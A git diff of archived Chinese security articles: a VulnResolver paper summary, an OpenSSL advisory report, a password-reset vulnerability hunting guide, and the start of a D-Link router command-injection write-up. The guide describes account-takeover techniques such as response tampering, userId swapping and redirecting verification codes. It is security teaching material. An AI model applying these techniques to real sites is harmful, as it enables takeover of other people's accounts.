+- 全面实验验证:在首个针对该任务的标准基准 SEC-bench 上开展了大规模实验。VulnResolver 在所有基线中表现最佳,在 SEC-bench Lite 上较基础工作流提升 53.8%(75.0% vs. 48.8%);在 SEC-bench Full 上展现出强泛化能力,大幅超越排行榜最佳系统。进一步的消融实验验证了每个代理及整体框架设计的有效性,充分证实了所提方法的优越性。
+
+
+
+
+**引言**
+
+
+真实世界软件项目日益复杂且高度互联,导致安全漏洞的发生率显著上升,这些漏洞不仅提升了安全风险,还带来了巨大的经济成本。因此,及时缓解这些漏洞对于维护软件的安全性和可靠性至关重要。诸如模糊测试(fuzzing)等漏洞检测技术已在实践中发现了数千个漏洞,漏洞发现者通常通过提交问题报告(issue report)来通知维护者,例如NJS-482。尽管自动化检测取得了进步,但正确且有效地修复这些问题仍高度依赖人类专家的专业知识,这激发了自动化漏洞修复方法的开发。
+
+自动化程序修复(Automated Program Repair, APR)旨在自动修复软件缺陷,基于大语言模型(LLM)的APR方法已展现出强劲性能。SWE-bench的引入进一步推动了全自动化问题解决,激发了多种SWE系统用于真实世界缺陷修复。在漏洞领域,一些自动化漏洞修复(Automated Vulnerability Repair, AVR)方法减少了手动努力并实现了自动化缓解,但许多方法(如VRepair、VulRepair、APPATCH)仍需要人工提供的故障位置或CWE标签,这些标注获取困难且耗时。像PatchAgent和SAN2PATCH这样的方法虽然从 sanitizer 日志自动化了定位和修复,但忽略了问题报告中的语义上下文,这些上下文往往包含理解和修复漏洞的关键线索。这种差距激发了开发能够直接利用结构化和语义洞见的系统来解决漏洞问题。
+
+然而,有效的漏洞解决仍面临挑战。首先,当前SWE范式可大致分为基于代理的框架(如SWE-agent)和基于工作流的框架(如Agentless),各自有明显的优势和局限性。基于代理的系统利用ReAct范式迭代调用工具,每个LLM代理基于先前推理和工具反馈选择后续动作。尽管灵活,但它们往往受非确定性规划和在大动作空间中的次优探索影响,经常产生不完整或放弃的补丁。相反,基于工作流的系统使用确定性流水线进行定位和修复,避免了不受控的代理行为,实现更高的稳定性。然而,Agentless仅依赖问题报告进行漏洞定位和上下文构建,完全放弃了仓库级别的自适应探索,限制了其获取足够上下文信息以实现准确修复的能力。因此,一个有前景的方向是结合两种范式的优势:一个混合代理系统,在确定性工作流下运行,同时通过代理启用针对性仓库探索。
+
+其次,现有的SWE系统主要针对通用软件问题,缺乏针对安全漏洞独特特性的设计。漏洞往往源于违反特定安全约束,例如CWE-125(越界读取)通常发生在有界缓冲区被超出有效索引范围访问时,违反了索引必须保持在界内的约束。此类约束可形式化为安全属性,这些属性规定程序执行过程中“某些坏事永不发生”。尽管安全属性已在漏洞检测中得到利用,但它们在SWE系统和最近的基于LLM的AVR方法中仍未得到充分探索。例如,PatchAgent和SAN2PATCH虽然关注端到端漏洞修复,但没有融入显式编码或利用漏洞特定约束的设计组件。因此,将安全属性推理融入漏洞问题解决中,对于实现更原则、更有效且更具安全意识的自动化修复至关重要。
+
+本文提出VulnResolver,一个基于LLM的框架,专为自动化漏洞问题解决而设计。1)结合代理灵活性和工作流确定性,VulnResolver基于Agentless风格的问题解决工作流,同时通过特化代理集成自适应工具调用能力,形成混合代理式自动化问题解决框架。工作流驱动结构确保了关键修复阶段(如漏洞定位、补丁生成和补丁选择)的稳定性和一致性,而代理通过针对性仓库探索增强了适应性和上下文理解。通过维护确定性工作流骨干,VulnResolver避免了全代理或多代理系统中的不受控决策漂移。2)针对自适应上下文获取,研究者引入上下文预收集代理(CPCAgent),它利用一套基于静态分析的代码搜索和符号解析工具,对目标仓库进行结构化探索。在LLM推理指导下,CPCAgent逐步收集相关上下文信息,直至达到充分覆盖,然后将收集的上下文和派生洞见合成全面的上下文分析报告(报告I)。这一过程赋予工作流仓库意识,并增强后续定位和修复过程。3)捕捉漏洞特性,VulnResolver融入安全属性分析代理(SPAAgent),它运用静态分析和动态执行工具来推断、生成和验证描述安全程序行为的安全属性。具体而言,SPAAgent探索易受攻击的代码库和概念证明(PoC)执行来假设潜在安全属性,用这些属性对仓库进行插桩,并通过引导PoC重新执行进行验证。然后,代理基于验证结果迭代精炼其属性假设,实现对漏洞根因的更深语义理解。一旦收敛,SPAAgent生成属性分析报告(报告II),封装生成的属性及其安全含义。
+
+最终,VulnResolver将问题报告与两个代理生成的报告(报告I和报告II)整合成增强的问题报告,汇总仓库探索和安全属性推理的洞见。这一丰富输入改善了定位和补丁生成,将工作流确定性与代理推理统一,形成原则、自适应且具安全意识的AVR系统。研究者在SEC-bench上进行了广泛实验,以评估VulnResolver的有效性。遵循其原论文的评估协议,研究者构建了两个基准变体:SEC-bench Lite和SEC-bench Full。VulnResolver在SEC-bench Lite上成功解决75%的issues,取得最佳性能;完整VulnResolver配置较基础工作流提升53.8%(75.0% vs. 48.8%),证明了整体设计的有效性。SEC-bench Full上的泛化实验显示VulnResolver成功解决67.5%的issues,比最佳排行榜基线OpenHands+Claude-3.7-Sonnet提升98.5%,比基础工作流提升37.8%,进一步确认了研究者的方法。主要贡献总结如下:方向(首个探索自动化漏洞问题解决,并引入混合代理范式);技术(提出VulnResolver,集成确定性工作流与两个特化代理);全面研究(在SEC-bench上超越所有基线,并通过消融研究验证设计有效性)。
+
+
+**VulnResolver框架详解**
+
+
+VulnResolver是一个基于大语言模型(LLM)的混合代理框架,用于自动化漏洞问题解决,它结合了代理系统的适应性和工作流驱动修复的稳定性。
+
+
+
+如图1所示,VulnResolver将两个特化代理集成到框架中,每个代理配备工具包,在目标仓库的沙箱环境中运行。这些代理包括上下文预收集代理(CPCAgent)和安全属性分析代理(SPAAgent),共同增强漏洞分析和修复。具体而言,CPCAgent使用静态分析工具自适应探索目标代码库,收集与漏洞相关的关键上下文信息,生成上下文分析报告(报告I)。相反,SPAAgent利用静态分析和动态执行工具,迭代分析、生成、插入和验证描述安全程序行为的安全属性,最终产生属性分析报告(报告II)。将这两个报告与原始问题报告结合,形成增强的问题报告(a)。这一增强报告随后作为基础工作流(Section 2.5)的输入,包括漏洞定位(b)、补丁生成(c)和补丁选择(d)阶段。通过将代理的自适应能力与结构化工作流集成,VulnResolver形成了一个针对真实世界AVR的有效框架。
+
+
+
+代理工具包(Section 2.2):为了支持CPCAgent和SPAAgent,研究者设计了一系列工具包,作为代理的动作集成。这些工具包使代理能够分析漏洞并实现其目标:上下文预收集和安全属性生成。如表1所示,包括:(1) 代码搜索工具包,用于在目标仓库中搜索和读取源代码;(2) 代码符号分析工具包,用于解析代码依赖(如查找函数定义);(3) PoC执行工具包,用于在控制环境中编译仓库并运行PoC;(4) 项目编辑工具包,用于修改仓库以插入或修复安全属性,支持Git提交和回滚;(5) Python代码执行工具包,用于运行代理生成的Python代码,进行轻量分析(如处理长日志),在隔离的Docker中运行以防不安全操作。
+
+上下文预收集代理(CPCAgent, Section 2.3):CPCAgent负责自适应探索仓库,收集与漏洞相关的上下文信息,生成报告I。它使用ReAct框架迭代调用工具,直到上下文充分。目标是识别漏洞根因,支持后续诊断和修复。可用工具为代码搜索和符号分析工具包(静态分析)。输入包括问题报告和仓库结构(Linux tree-like格式,仅源文件)。分析过程:1) 初始分析检查问题报告,识别触发条件、漏洞类型和崩溃位置;2) 上下文识别确定需要收集的元素(如函数、变量或崩溃周围行);3) 上下文收集从直接相关代码开始逐步扩展,使用工具检索片段;4) 报告生成合成报告,包括枚举上下文(源代码、来源、注解、解释)和总结洞见。输出为结构化报告,提供仓库意识,弥补工作流不足。
+
+安全属性分析代理(SPAAgent, Section 2.4):SPAAgent专注于推断和验证安全属性,这些属性描述安全程序行为(如“索引始终在界内”)。它通过程序插桩(插入断言)实现,使用SAFETY_PROPERTY_ASSERT宏编码属性。代理使用ReAct框架迭代精炼属性。目标是生成描述安全行为的属性断言,揭示漏洞语义根因。可用工具为所有五个工具包,支持静态和动态。输入包括问题报告、CPCAgent的报告和仓库结构。分析过程:1) 初始PoC执行无修改运行PoC,观察崩溃;2) 属性假设分析崩溃点,生成初始属性(如边界检查、非空指针),使用编辑工具插入;3) 属性验证运行插桩后的PoC,检查违反,保留相关属性;4) 迭代精炼基于结果向后分析,生成更精确属性,直到收敛;5) 报告生成合成报告,包括枚举属性(断言代码、位置、目的、执行结果、解释)和总结洞见。输出为结构化报告,提供原则性指导。
+
+问题解决工作流(Issue Resolution Workflow, Section 2.5):工作流是框架骨干,LLM驱动,受Agentless启发,包括四个阶段,确保确定性和效率。1) 报告增强调用两个代理生成报告,与原始报告结合。2) 漏洞定位通过文件定位(提示+检索)和代码元素定位(骨架文件上识别元素)。3) 补丁生成基于增强报告和定位元素,提取完整实现+上下文,LLM生成T个SEARCH/REPLACE补丁。4) 补丁选择应用补丁,运行PoC过滤有效者;规范化(格式化、移除注释);多数投票选最终补丁,转为Git diff格式。整体流程从报告增强开始,确保适应性和安全性;工作流确定性避免代理漂移。实现细节使用libclang解析C/C++元素,支持多补丁生成(T=5默认)。
+
+
+**实验设置**
+
+
+本节围绕 VulnResolver 的性能验证展开实验设计,共设置三个核心研究问题,分别是对比 VulnResolver 与现有漏洞修复方案的有效性、探究不同设计选型对其修复效果及大语言模型 API 成本的影响、验证其在更多漏洞修复任务中的泛化能力。
+
+实验基于 SEC-bench 基准测试集开展,该数据集源自开源 C/C++ 项目的真实漏洞案例,配备 Docker 镜像与自动化补丁验证工具,包含 200 个覆盖 16 类 CWE 类型的漏洞,分为含 80 个漏洞的精简版与含 200 个漏洞的完整版,分别用于有效性、消融实验与泛化性研究,且两个版本的数据集均有明确的项目数量、漏洞数量及补丁修改统计特征。
+
+
+
+VulnResolver 基于 Python 开发,采用 libclang 解析 C/C++ 代码元素,借助 clangd 实现符号分析,通过 SWE-ReX 与 llm sandbox 保障安全的容器交互与代码执行,基于 LangChain 构建两款专用智能体,选用 DeepSeek-V3.2-Exp 等三款大语言模型作为基础模型并将前者设为默认模型,同时采用 text-embedding-3-small 实现检索式可疑文件定位,遵循 Agentless 的相关配置生成补丁并做标准化处理,最终使用 SEC-bench 的自动化脚本完成性能评估。
+
+
+
+实验选取 SWE-agent、OpenHands、Aider 三类先进软件工程系统,结合三款大语言模型形成 9 种基线配置,同时纳入 PatchAgent 作为额外基线,为保证对比公平性,还使用 DeepSeek-V3.2-Exp 模型重新评估了三类系统,共形成 13 个基线方案。评估环节则采用修复数量与修复率、平均 API 调用成本两项核心指标,综合衡量工具的修复效果与成本效益。
+
+
+**研究评估**
+
+
+本节围绕三个核心研究问题,结合 SEC-bench 数据集的测试结果,对 VulnResolver 的性能、设计合理性及泛化能力展开全面实验验证与分析。在 RQ1 有效性对比中,基于 SEC-bench 精简版(80 个漏洞)的测试显示,VulnResolver 以 75.0% 的漏洞修复率大幅领先所有基线方案,相较于采用同款 DeepSeek-V3.2-Exp 模型的最优软件工程系统 SWE-agent(37.5%)性能翻倍,较先进自动化漏洞修复方案 PatchAgent 提升 30.43%;即便更换 o3-mini、GPT-4o 模型,其修复率也分别达 57.5%、51.3%,均优于同模型基线。成本方面,其平均单漏洞成本 0.072 美元,每美元可修复约 10 个漏洞,成本效益显著,这一优势源于 DeepSeek-V3.2-Exp 模型的稀疏注意力机制,能大幅降低推理开销,且在 13 个测试项目中 12 个排名第一,仅在 njs 项目位列第二,展现出优异的项目适配性。
+
+
+
+针对 RQ2 的消融实验,全面验证了方案各设计模块的必要性与协同价值。双智能体(CPCAgent 与 SPAAgent)协同作用显著,使修复率较基础版本提升 53.8%,其中单启用 CPCAgent 可提升 25.6%,单启用 SPAAgent 提升 41.0%,凸显后者在安全属性分析中的核心作用;两阶段增强机制中,补丁生成阶段增强(+43.6%)比漏洞定位阶段增强(+7.7%)效果更显著,二者结合可实现性能最大化;基于 PoC 的补丁选择策略比简单投票策略修复率高 16.7%,以漏洞报告为输入比消毒器日志修复率高 15.0%,且确定生成 5 个补丁为最优选择,超过该数量后性能趋于平稳,成本却额外上涨 7.0%。同时,方案在 GPT-4o、o3-mini 等不同基础模型下均能稳定提升修复率,工具使用呈现明显阶段化特征 ——CPCAgent 聚焦静态上下文采集,SPAAgent 负责动态属性分析与验证。
+
+
+
+在 RQ3 泛化性研究中,基于 SEC-bench 完整版(200 个漏洞、29 个项目)的测试结果表明,VulnResolver 修复率达 67.5%,成功修复 135 个漏洞,较截至论文提交时排行榜最优方案(OpenHands+Claude 3.7 Sonnet,34.0%)性能提升 98.5%,且较自身基础版本提升 37.8%。尽管其完整版修复率略低于精简版,主要因完整版漏洞平均需修改更多文件、代码块及行数,修复难度更高,但仍在 29 个项目中的 23 个表现最优,成本也与精简版测试基本持平(单漏洞 0.0734 美元,基础版 0.0274 美元),充分验证了该方案在复杂、大规模场景下的泛化能力。
+
+
+
+RQ3(泛化研究):在SEC-bench Full(200问题)上,VulnResolver解决67.5%(135/200),比排行榜最佳OpenHands + Claude 3.7 Sonnet(34.0%)提升98.5%,比基础工作流(49.0%)提升37.8%。每个项目:在29个中23个最佳,确认泛化。Full解决率低于Lite因问题更复杂(更多修改)。成本:$0.0734/问题,基础$0.0274,保持高效。
+
+评估和分析确认VulnResolver的设计有效,代理和属性推理显著提升性能和泛化,同时保持成本效益。
+
+
+**有效性威胁**
+
+
+有效性威胁包括外部和内部有效性。外部有效性:语言扩展性,研究者的方法仅在C/C++上实现和评估,但可通过适应代理工具包扩展到其他语言,如使用特定于语言的静态分析工具和LSP库(例如Java的Spoon和Eclipse JDT Language Server)。内部有效性:(1) 数据泄露,基准补丁可能与LLM训练数据重叠,为缓解,研究者使用与基线相同的基线模型评估,确保不 unfair 优势;性能显著优于基础工作流,进一步缓解;(2) 超参数选择,大多数超参数(如N、M、温度、块大小)基于Agentless经验,补丁空间大小T=5基于初步实验,其影响在RQ2中探索;(3) 安全威胁,通过在单独Docker容器中隔离PoC和代理生成Python代码执行,防止影响主机;(4) API成本,使用LLM可能增加成本,但研究者评估平均成本/问题,并证明性能提升 justify 额外开销,且比现有LLM-based SWE基线更具成本效益。
+
+相关工作分为软件问题解决和自动化漏洞修复。软件问题解决:自动化程序修复(APR)旨在自动修复缺陷,包括问题解决子集。基于LLM的APR方法表现出色,SWE-bench推动了SWE系统的发展,可分为代理-based(如SWE-agent、OpenHands,使用工具交互环境)和工作流-based(如Agentless,通过定位和生成步骤)。研究者的方法结合两者,形成混合代理系统,平衡灵活性和确定性。其他如SWE-bench Multimodal评估多模态问题,GUIRepair使用无代理框架;AGENTISSUE-BENCH评估代理解决其他代理问题。研究者聚焦漏洞问题解决,在SEC-bench上评估,取得SOTA。自动化漏洞修复(AVR)是APR子集,聚焦漏洞修复。基于LLM的AVR方法需人工标注(如VRepair、VulRepair、APPATCH),PatchAgent和SAN2PATCH自动化但忽略报告语义上下文,且缺乏AVR特定设计,与通用APR类似。研究者聚焦漏洞违反安全属性的特性,SPAAgent迭代理解和生成属性,提供更深洞见,显著优于无属性分析的变体。预LLM时代AVR如Senx使用符号执行,但仅支持预定义类型、缺乏语义理解、路径爆炸问题。研究者放弃符号执行,转而用LLM代理编辑和动态执行PoC,实现迭代反馈。总之,研究者结合通用探索与漏洞特定属性分析,实现有效且特定于漏洞的修复。
+
+
+**论文结论**
+
+
+本研究提出了一种全新的自动化漏洞问题修复方案 ——VulnResolver,该方案兼具智能体系统的灵活性与工作流驱动修复方案的稳定性。具体而言,VulnResolver 集成了两款专用智能体,分别用于自适应上下文预采集与基于安全属性的推理,可实现更高效的漏洞定位与补丁生成。实验结果表明,VulnResolver 的性能显著优于现有方案,充分验证了本方案在真实场景漏洞修复任务中的有效性。
+
+-End-
+
+[](https://mp.weixin.qq.com/s?__biz=MzkzNDUxOTk2Mw==&mid=2247495405&idx=1&sn=67249648d5c312b5c178b23b077d28f3&scene=21#wechat_redirect)
+
+
+
+
+
+
diff --git a/doc/2026-01/严重OpenSSL漏洞可使远程攻击者执行恶意代码.md b/doc/2026-01/严重OpenSSL漏洞可使远程攻击者执行恶意代码.md
new file mode 100644
index 00000000..a271c7a0
--- /dev/null
+++ b/doc/2026-01/严重OpenSSL漏洞可使远程攻击者执行恶意代码.md
@@ -0,0 +1,29 @@
+# 严重OpenSSL漏洞可使远程攻击者执行恶意代码
+ 网安百色 2026-01-29 11:38
+
+
+
+OpenSSL于2026年1月27日发布安全更新,修复了12个漏洞,其中包括一个高严重性缺陷,可能被利用来执行远程代码。其余多数漏洞可导致拒绝服务攻击,但同样凸显了解析不可信数据时存在的风险。
+
+最严重的漏洞为CVE-2025-15467,影响使用AES-GCM等AEAD密码的CMS AuthEnvelopedData解析。攻击者通过在ASN.1参数中构造超大初始化向量(IV),可在身份验证检查前触发栈溢出,导致应用程序崩溃或在处理不可信CMS或PKCS#7数据(例如S/MIME邮件)时,存在被利用来执行远程代码的风险。由于触发此溢出无需密钥,因此所有解析远程CMS内容的应用程序均面临高风险。其可利用性取决于ASLR等平台防御机制,但栈写入原语(primitive)本身构成了严重威胁。OpenSSL将其严重性评级为“高”。
+
+CVE-2025-11187涉及PKCS#12文件中的PBMAC1验证不当,在3.6至3.4版本中可导致栈溢出或空指针解引用。当恶意文件在密钥派生过程中使用超过64字节的密钥长度时,便会触发缓冲区溢出。
+
+另外几个低严重性漏洞也影响PKCS#12处理,可导致越界写入或空指针解引用,包括CVE-2025-69419、CVE-2025-69421和CVE-2026-22795。
+| CVE ID | 严重性 | 影响简述 | 受影响版本 | 修复版本 |
|---|
| CVE-2025-11187 | 中 | PKCS#12 MAC中的栈溢出 | 3.6, 3.5, 3.4 | 3.6.1, 3.5.5, 3.4.4 |
| CVE-2025-15467 | 高 | CMS解析中的栈溢出 | 3.6-3.0 | 3.6.1, 3.5.5, 3.4.4, 3.3.6, 3.0.19 |
| CVE-2025-15468 | 低 | QUIC密码查找中的空指针解引用 | 3.6, 3.5, 3.4, 3.3 | 3.6.1, 3.5.5, 3.4.4, 3.3.6 |
| CVE-2025-15469 | 低 | dgst工具对大输入进行截断 | 3.6, 3.5 | 3.6.1, 3.5.5 |
| CVE-2025-66199 | 低 | TLS 1.3证书压缩导致的拒绝服务 | 3.6, 3.5, 3.4, 3.3 | 3.6.1, 3.5.5, 3.4.4, 3.3.6 |
| CVE-2025-68160 | 低 | BIO linebuffer中的堆越界写入 | 3.6-3.0, 1.1.1, 1.0.2 | 3.6.1-3.0.19, 1.1.1ze, 1.0.2zn |
| CVE-2025-69418 | 低 | OCB尾部字节未加密 | 3.6-3.0, 1.1.1 | 3.6.1-3.0.19, 1.1.1ze |
| CVE-2025-69419 | 低 | PKCS12 friendlyname中的越界写入 | 3.6-3.0, 1.1.1 | 3.6.1-3.0.19, 1.1.1ze |
| CVE-2025-69420 | 低 | 时间戳验证中的空指针解引用 | 3.6-3.0, 1.1.1 | 3.6.1-3.0.19, 1.1.1ze |
| CVE-2025-69421 | 低 | PKCS12解密中的空指针解引用 | 3.6-3.0, 1.1.1, 1.0.2 | 3.6.1-3.0.19, 1.1.1ze, 1.0.2zn |
| CVE-2026-22795 | 低 | PKCS#12中的类型混淆 | 3.6-3.0, 1.1.1 | 3.6.1-3.0.19, 1.1.1ze |
| CVE-2026-22796 | 低 | PKCS7摘要中的类型混淆 | 3.6-3.0, 1.1.1, 1.0.2 | 3.6.1-3.0.19, 1.1.1ze, 1.0.2zn |
+除少数特例外,这些漏洞主要影响处理不可信PKCS#12、PKCS#7、时间戳或特定API的场景。大多数漏洞需要精心构造的输入才能触发,这在一定程度上限制了其被远程利用的范围,但处理网络来源数据的应用程序仍面临风险。
+
+受影响版本涵盖OpenSSL 3.6至1.0.2等多个分支,不包含因缺少PBMAC1或QUIC等功能而未受影响的旧版本。FIPS模块不受影响,因为相关代码位于其边界之外。
+| 版本 | 受影响的CVE | 修复版本 |
|---|
| 3.6 | 除1.0.2特定外的所有CVE | 3.6.1 |
| 3.5 | 大部分CVE | 3.5.5 |
| 3.4 | 大部分CVE | 3.4.4 |
| 3.3 | 部分CVE | 3.3.6 |
| 3.0 | CMS, BIO等漏洞 | 3.0.19 |
| 1.1.1 | BIO, OCB, PKCS#12等漏洞 | 1.1.1ze (付费更新) |
| 1.0.2 | BIO, PKCS#7等漏洞 | 1.0.2zn (付费更新) |
+Aisle Research团队发现了几乎所有这些漏洞,其中最严重的漏洞由Stanislav Fort报告。其他贡献者包括Luigino Camastra、Petr Šimeček、Tomas Dulka和Hamza (Metadust)。修复工作主要由Tomas Mraz、Igor Ustinov等人完成。
+
+**缓解措施**
+
+立即升级至3.6.1、3.5.5等安全版本。避免处理不可信的PKCS#12/CMS输入,并验证文件大小。对于TLS 1.3压缩,建议设置SSL_OP_NO_RX_CERTIFICATE_COMPRESSION选项。由于存在远程利用风险,建议优先为处理S/MIME或时间戳的服务器应用补丁。
+
+OpenSSL为全球范围内的Web服务器、VPN和加密工具提供核心安全功能。及时更新可有效防止生产环境中发生拒绝服务或其他更严重的安全事件。建议通过包管理器检查并更新所有相关依赖项。
+
+本公众号所载文章为本公众号原创或根据网络搜索下载编辑整理,文章版权归原作者所有,仅供读者学习、参考,禁止用于商业用途。因转载众多,无法找到真正来源,如标错来源,或对于文中所使用的图片、文字、链接中所包含的软件/资料等,如有侵权,请跟我们联系删除,谢谢!
+
+
+
diff --git a/doc/2026-01/密码重置漏洞挖掘指南:从原理到实战的完整路径.md b/doc/2026-01/密码重置漏洞挖掘指南:从原理到实战的完整路径.md
index 38109caf..3e5184bf 100644
--- a/doc/2026-01/密码重置漏洞挖掘指南:从原理到实战的完整路径.md
+++ b/doc/2026-01/密码重置漏洞挖掘指南:从原理到实战的完整路径.md
@@ -1,8 +1,19 @@
# 密码重置漏洞挖掘指南:从原理到实战的完整路径
-点击关注 👉
- 点击关注 👉 马哥网络安全 2026-01-16 13:02
+中铁13层打工人
+ 中铁13层打工人 陌笙不太懂安全 2026-01-29 09:58
-密码重置功能是Web应用中最常见也最核心的环节之一,它直接关系到用户账户的安全。正因为其普遍性和高敏感性,一个细微的逻辑缺陷都可能导致整个账户体系的沦陷。密码重置漏洞核心思路为:站在攻击者的角度,尝试劫持任意用户的密码重置流程。
+免责声明
+```
+由于传播、利用本公众号所提供的信息而造成
+的任何直接或者间接的后果及损失,均由使用
+者本人负责,公众号陌笙不太懂安全及作者不
+为此承担任何责任,一旦造成后果请自行承担!
+如有侵权烦请告知,我们会立即删除并致歉,谢谢!
+```
+```
+本文作者:中铁13层打工人
+原文链接:https://forum.butian.net/share/4634
+```
# 前言:
密码重置功能是Web应用中最常见也最核心的环节之一,它直接关系到用户账户的安全。正因为其普遍性和高敏感性,一个细微的逻辑缺陷都可能导致整个账户体系的沦陷。密码重置漏洞核心思路为:站在攻击者的角度,尝试劫持任意用户的密码重置流程,整个过程可以概括为以下几个关键步骤:
@@ -23,15 +34,15 @@
进入忘记密码,任意输入验证码抓包修改返回包中的参数状态值。比如常见的code改为0,false改为true等等。
-
+
-
+
-
+
下来正常输入新密码点击下一步抓包,继续修改响应值,成功重置密码。
-
+
### 1.2挖掘思路
(1)寻找目标场景
@@ -48,15 +59,15 @@
本地搭建Dedecms(版本5.7),创建账户test1以及test2。
-
+
登录test1账户,随后构建payload,id修改为要修改的账户的id
-
+
发送请求获取key,成功获取key值后即可修改目标账户密码。
-
+
### 2.2挖掘思路
(1)测试步骤间状态关联性校验
@@ -73,35 +84,35 @@
针对某购物网站进行包监听时发现某接口的响应如下:
-
+
+
+
在响应体中,包含如下参数:"showResetPassword": false,"showModifyEmails": false,参数值表示用户角色禁用了密码重置和电子邮件修改选项。在burp中对该流量包进行拦截,并修改响应包。
-
+
刷新页面后会发现两个新选项:
-
+
此处后端接口返回 JSON 字段 "showResetPassword": false 仅用于前端 UI 决策,未在后端任何鉴权逻辑中二次校验。攻击者通过篡改响应包为 "showResetPassword": true,即可让前端渲染出重置密码按钮。
随后对所拥有的账户进行密码重置修改,系统返回200并提供了有效密码重置链接。
-
-
+
访问后发现密码重置成功
-
+
拦截密码重置接口包,发现请求中包括用户的数字ID,其请求体仅包含:{ "userId": 9438868, "resetAccessKey": false },没有其他的鉴权参数。该端点未检查当前会话是否具备对 userId 的操作权限,也未校验当前用户权限。
-
+
重新抓包,将USERID修改为另一个账户USERID,密码修改成功并成功登陆。
-
-
+
系统采用可预测、单调递增标识符使用连续数字 userId,此时攻击者只需遍历整数区间即可批量枚举有效用户,重置其他用户的密码。
### 3.2 挖掘思路:
@@ -126,17 +137,17 @@
密码重置页面,输入任意普通账号,选择邮箱方式找回密码。在身份验证页面点击获取短信验证码:
-
+
拦截请求,发现接收验证码的邮箱为请求包中的参数,而此参数可控,直接篡改为攻击者的邮箱,此时攻击者成功接收邮箱验证码。
-
+
提交验证码后抓包修改其中邮箱为获取验证码的邮箱。此时仅校验了验证码与邮箱是否绑定,只要输入正确的验证码即可通过验证。下来正常执行 3、4 步即可成功重置该账号的密码。
-
+
-
+
此处漏洞形成的主要原因就是服务器未绑定实际要重置得账号和验证码,导致输入其他用户邮箱正确的验证码也可以重置当前用户的密码。
@@ -144,7 +155,7 @@
在测试任意密码重置时,可以尝试在关键参数后面添加多个参数,转发验证码到攻击者。
-
+
攻击者收到验证码后直接填写验证码即可完整密码重置,修改受害人密码。
@@ -152,19 +163,20 @@
在密码重置流程的关键步骤(获取验证码、校验验证码生成凭证、使用凭证重置密码)中,使用重置密码凭证执行最终重置操作时,服务端没有严格校验和绑定令牌与最初申请者的身份关系,仅仅校验令牌是否失效或者是否使用。导致攻击者可以利用此缺陷,将本应属于用户A的权限“转移”或“应用”到用户B身上,从而实现越权操作。
-
+
-当用户已经验证过验证码,在正确验证有效期内攻击者同时做重置密码操作,此时可以利用令牌未失效的情况下实现任意密码重置。
+当用
+户已经验证过验证码,在正确验证有效期内攻击者同时做重置密码操作,此时可以利用令牌未失效的情况下实现任意密码重置。
-
+
+
+
输入正确验证码后会触发校验接口,获取重置当前密码的凭证。另一个账号同样按以上方式操作,利用获取到正确凭证的间隙。回到攻击账号输入新密码抓包。
-
+
-
-
-
+
看到其中有控制要重置账号密码的参数,修改此参数为受害人的参数即可重置其他用户的密码。
### 4.2 挖掘思路
@@ -200,63 +212,17 @@
在提交验证码和设置新密码的阶段,会再次校验验证码与目标用户是否匹配,可以尝试用接收到的验证码去重置目标用户的密码。如果成功,说明系统只验证验证码本身的有效性,而没有校验该验证码是由哪个用户请求、发送至哪个接收端的,就会存在严重逻辑缺陷。
-文章内容转自奇安信攻防社区
-原作者:中铁13层打工人(侵删)
-
-****
-
-
-
-**今日福利**
-
-为了帮助大家早日习得网络安全核心知识,快速入行网络安全圈,给大家整理了一套**【2026最新网安资料】**
-网络安全工程师必备技能资料包(文末一键领取),内容有多详实丰富看下图!
-
-Web安全
-👇
-
-
-
-渗透测试
-👇
-
-
-
-安全面试题
-👇
-
-
-
-代码审计
-👇
-
-
-
-红队笔记
-👇
-
-
-
-入门视频👇
-
-
-
-
-
-
-以上所有资料获取请扫码
-
-
-
-识别上方二维码
-
-备注:
-**2026安全合集**
-
-100%免费领取
-
-(是扫码领取,不是在公众号后台回复,别看错了哦)
+后台回复
+加群
+加入交流群
+有思路工具需要的师傅可以加入
+小圈子
+
+
+主要内容是(2025-2026/edusrc实战报告/edu资产/漏洞挖掘工具等) 其他内容懂得都懂,持续更新中
+
+
diff --git a/doc/2026-01/路由器安全研究|D- Link DIR-823G v1.02 B05 复现与利用思路.md b/doc/2026-01/路由器安全研究|D- Link DIR-823G v1.02 B05 复现与利用思路.md
new file mode 100644
index 00000000..c62d0118
--- /dev/null
+++ b/doc/2026-01/路由器安全研究|D- Link DIR-823G v1.02 B05 复现与利用思路.md
@@ -0,0 +1,259 @@
+# 路由器安全研究|D- Link DIR-823G v1.02 B05 复现与利用思路
+ 蚁景网安 2026-01-29 09:23
+
+## 前言
+
+D-Link DIR-823G v1.02 B05存在命令注入漏洞,攻击者可以通过POST的方式往 /HNAP1发送精心构造的请求,执行任意的操作系统命令
+## 漏洞分析
+
+
+
+binwalk提取固件,成功获取到固件
+
+
+
+
+
+现在我们已经进入到应用里了,那么我们在进行分析固件的时候,应该怎么去分析这个情况?首先,我们去分析别人的漏洞,别人是会告诉哪里会出现问题。但是我们现在假设我们是分析一个未知固件,我们就得先知道这个固件有哪些应用,启动了哪些服务,最清晰和简便的方式就是去看我们etc文件下面,里面有个叫init.d的目录,里面是关于启动项的内容
+
+
+
+我们首先来看rcS下面的内容 vim rcS
+
+首先是设置ip,然后挂载了两个文件系统分别是proc,这是与进程相关的文件系统,包括当前进程启动存放在哪个地址
+
+还有ramfs文件系统,根据以前的笔记,可知ramfs文件系统跟RAM相关
+
+然后下面就是判断是否还有挂载别的文件系统
+
+然后mkdir就是创建各种各样的文件夹,都有对应的功能,比如说创建了pptp文件夹,针对拨号上网的功能,然后还有smbd服务,可以看到创建了一个usb的文件夹,说明该固件有可以跟usb也就是U盘相关的操作,接下来都是一些配置信息
+
+
+
+继续往下翻
+
+可以看到该固件启动了web server的web服务,也就是httpd的内容,这里启动的是goahead,通过这个名字,我们可以确定web服务就是goahead,如果想要分析web服务的话,就直接分析goahead就可以
+
+
+
+我们回到squashfs-root目录下,搜索goahead的一些简单情况
+```
+grep -ir "goahead".
+```
+
+
+
+最下面是两个启动项的内容,可以忽略,然后第一行是bin的可执行应用,这个其实就是我们最后分析的内容
+
+那如何分析呢?它是一个HNAP1请求,那就可以去检索我们的HANP1请求
+```
+grep -ir "HNAP1".
+```
+
+
+
+可以看到它检索到一些js代码,js代码对我们来说一般,(比较我们是找二进制相关的漏洞)
+
+但是,我们可以发现它匹配了一个二进制程序,也就是goahead
+
+这里我们先科普一下goahead的一些情况:
+
+GoAhead ,它是一个源码,免费、功能强大、可以在多个平台运行的嵌入式WebServer
+
+goahead的websUrlHandlerDefine函数允许用户自定义不同url的处理函数
+
+它在进行编写与它相关的请求,是通过websUrlHandlerDefine来确定的
+```
